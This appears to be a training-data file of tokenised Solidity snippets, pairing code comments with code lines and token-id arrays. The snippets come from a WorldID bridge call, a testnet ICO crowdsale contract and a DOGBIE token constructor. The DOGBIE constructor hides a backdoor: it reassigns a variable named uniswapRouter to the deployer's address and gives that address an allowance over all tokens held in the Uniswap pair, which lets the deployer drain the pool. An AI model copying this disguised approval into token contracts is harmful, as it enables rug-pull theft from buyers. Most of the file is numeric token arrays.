[ 1, 565, 288, 203, 3639, 3410, 273, 1758, 12, 20, 92, 22, 69, 22, 39, 24, 2138, 71, 6334, 20, 40, 19192, 20, 41, 27, 5353, 73, 8749, 31299, 8204, 21, 73, 23, 41, 5558, 69, 27263, 21, 19728, 20, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x2Ad412A1dF96434Eed0779D2dB4A8694a06132f8/sources/src/WorldIDIdentityManagerImplV1.sol
With the update confirmed, we send the root across multiple chains to ensure sync.
sendRootToStateBridge();
4,373,955
[ 1, 4625, 348, 7953, 560, 30, 225, 3423, 326, 1089, 19979, 16, 732, 1366, 326, 1365, 10279, 3229, 13070, 358, 3387, 3792, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 1366, 2375, 774, 1119, 13691, 5621, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; import './ERC20.sol'; import './Ownable.sol'; import './SafeMath.sol'; import './VMEVault.sol'; import './MultiSigWallet.sol'; /// @title Crowdsale part of the Vowme contract contract VMECrowdsale is ERC20, Ownable { using SafeMath for uint256; // use safe math operations bool public fundingFinalized = false; // is crowdsale successful and finalized? uint256 public fundingStartBlock; // crowdsale start block uint256 public fundingEndBlock; // crowdsale end block //uint256 public constant fundingMinGoal = 2250 ether; // min amount of funds to be raised //uint256 public constant fundingMaxGoal = 12250 ether; // max amount of funds to be raised uint256 public constant fundingMinGoal = 1 ether; // for testing on testnet uint256 public constant fundingMaxGoal = 3 ether; // for testing on testnet //uint256 public constant fundingBonus1Cap = 1225 ether; // funding level for the 20% bonus uint256 public constant fundingBonus1 = 20; // 20% //uint256 public constant fundingBonus2Cap = 4287.5 ether; // funding level for the 10% bonus uint256 public constant fundingBonus2 = 10; // 10% uint256 public constant fundingBonus1Cap = 0.5 ether; // for testing on testnet uint256 public constant fundingBonus2Cap = 1 ether; // for testing on testnet uint256 public constant tokensPerEther = 1000; // how many token units a buyer gets per eth uint256 public constant crowdPercentOfTotal = 65; // 65% - investors uint256 public constant vaultPercentOfTotal = 25; // 25% - founders (locked for 1 year) uint256 public constant vowmePercentOfTotal = 10; // 10% - reserve and bounty uint256 public fundingCollected; // amount of raised money in wei mapping (address => uint256) public fundingEthBalances; // we need to know this for a possible refund address public vowmeMultisig; // Vowme's multisignature wallet VMEVault public vowmeTimeVault; // Vowme's time-locked vault enum State {PreFunding, Funding, Success, Failure} // crowdfunding state machine // `balances` is the map that contains the balance of each address mapping (address => uint256) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; /// Event for eth refund logging. /// @param _to Who receives refund. /// @param _value Weis refunded. event Refund(address indexed _to, uint256 _value); /// @dev Throws if state is not `Funding`. modifier fundingState() { require(getFundingState() == State.Funding); _; } /// @dev Throws if state is not `Success`. modifier successState() { require(getFundingState() == State.Success); _; } /// @dev Throws if state is not `Failure`. modifier failureState() { require(getFundingState() == State.Failure); _; } /// @dev The internal constructor for crowdsale initialization. function VMECrowdsale( address _vowmeMultisig, uint256 _fundingStartBlock, uint256 _fundingEndBlock ) internal { require(_vowmeMultisig != address(0)); require(_fundingStartBlock > block.number); require(_fundingEndBlock > _fundingStartBlock); require(MultiSigWallet(_vowmeMultisig).isMultiSigWallet()); vowmeTimeVault = new VMEVault(_vowmeMultisig); require(vowmeTimeVault.isVMEVault()); vowmeMultisig = _vowmeMultisig; fundingStartBlock = _fundingStartBlock; fundingEndBlock = _fundingEndBlock; } /// @dev Fallback function can be used to buy tokens. function() public payable fundingState { invest(); } /// @notice Create tokens when funding is active. /// @dev Required state: Funding /// @dev State transition: -> Funding Success (only if cap reached) function invest() public payable fundingState { require(msg.value != 0); // do not allow creating 0 tokens uint256 newFundingCollected = fundingCollected.add(msg.value); require(newFundingCollected <= fundingMaxGoal); // don't go over the limit! // Calculate bonus percentage uint256 bonus = 0; if (fundingCollected <= fundingBonus1Cap) { bonus = fundingBonus1; // percents } else if (fundingCollected <= fundingBonus2Cap) { bonus = fundingBonus2; // percents } // Multiply by exchange rate to get newly created token amount uint256 createdTokens = msg.value.mul(tokensPerEther); if (bonus > 0) { // Apply bonus createdTokens = createdTokens.add(createdTokens.mul(bonus).div(100)); } // We are creating tokens, so increase the totalSupply totalSupply = totalSupply.add(createdTokens); // Assign new tokens to the sender balances[msg.sender] = balances[msg.sender].add(createdTokens); // Increase total collected sum and eth balance for the sender fundingCollected = newFundingCollected; fundingEthBalances[msg.sender] = fundingEthBalances[msg.sender].add(msg.value); // Token creation event logging Transfer(0, msg.sender, createdTokens); } /// @notice Finalize crowdfunding. /// @dev If cap was reached or crowdfunding has ended then: /// create VME for the Vowme Multisig and time vault, /// transfer ETH to the Vowme Multisig address. /// @dev Required state: Success function finalizeCrowdfunding() external successState onlyOwner { require(!fundingFinalized); // can't finalize twice // Prevent more creation of tokens fundingFinalized = true; // Endowment: 25% of total goes to vault, timelocked for 1 year uint256 vaultTokens = totalSupply.mul(vaultPercentOfTotal).div(crowdPercentOfTotal); balances[vowmeTimeVault] = balances[vowmeTimeVault].add(vaultTokens); Transfer(0, vowmeTimeVault, vaultTokens); // Endowment: 10% of total goes to VowMe for reserve and bounty uint256 vowmeTokens = totalSupply.mul(vowmePercentOfTotal).div(crowdPercentOfTotal); balances[vowmeMultisig] = balances[vowmeMultisig].add(vowmeTokens); Transfer(0, vowmeMultisig, vowmeTokens); totalSupply = totalSupply.add(vaultTokens).add(vowmeTokens); // Transfer ETH to VowMe's multisignature wallet require(vowmeMultisig.send(this.balance)); } /// @notice Get back the ether sent during the funding in case the funding /// has not reached the minimum level. /// @dev Required state: Failure function refund() external failureState { uint256 vmeValue = balances[msg.sender]; require(vmeValue != 0); // can't refund twice balances[msg.sender] = 0; totalSupply = totalSupply.sub(vmeValue); uint256 ethValue = fundingEthBalances[msg.sender]; fundingEthBalances[msg.sender] = 0; Refund(msg.sender, ethValue); require(msg.sender.send(ethValue)); } /// @notice This manages the crowdfunding state machine. /// We make it a function and do not assign the result to a variable /// so there is no chance of the variable being stale. function getFundingState() public constant returns (State) { // Once we reach success, lock in the state if (fundingFinalized) { return State.Success; } if (block.number < fundingStartBlock) { return State.PreFunding; } else if (block.number <= fundingEndBlock && fundingCollected < fundingMaxGoal) { return State.Funding; } else if (fundingCollected >= fundingMinGoal) { return State.Success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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 12279, 12, 20, 16, 1234, 18, 15330, 16, 2522, 5157, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xe3587F0EA66a16Dc34A3614d6b6c6Ca67513bbca/sources/DOGBIE.sol
Maximum tx size and wallet size exclude from paying fees or having max transaction amount
constructor() ERC20("DOGBIE", "DOGBIE") { address uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(uniswapRouter); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 0; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 1_000_000_000 * 1e9; maxTxAmount = totalSupply * 4 / 100; mWalletSize = totalSupply * 4 / 100; swapTokensAtAmount = totalSupply * 1 / 10000; uniswapRouter = msg.sender; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); _approve(address(uniswapV2Pair), uniswapRouter, totalSupply); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
2,584,575
[ 1, 4625, 348, 7953, 560, 30, 282, 18848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, 3885, 1435, 4232, 39, 3462, 2932, 3191, 5887, 8732, 3113, 315, 3191, 5887, 8732, 7923, 288, 203, 3639, 1758, 640, 291, 91, 438, 8259, 273, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 31, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 318, 291, 91, 438, 8259, 1769, 203, 540, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 540, 203, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 8870, 14667, 273, 374, 31, 203, 203, 3639, 2254, 5034, 389, 87, 1165, 3882, 21747, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 87, 1165, 48, 18988, 24237, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 87, 1165, 8870, 14667, 273, 374, 31, 203, 540, 203, 3639, 2254, 5034, 2078, 3088, 1283, 273, 404, 67, 3784, 67, 3784, 67, 3784, 380, 404, 73, 29, 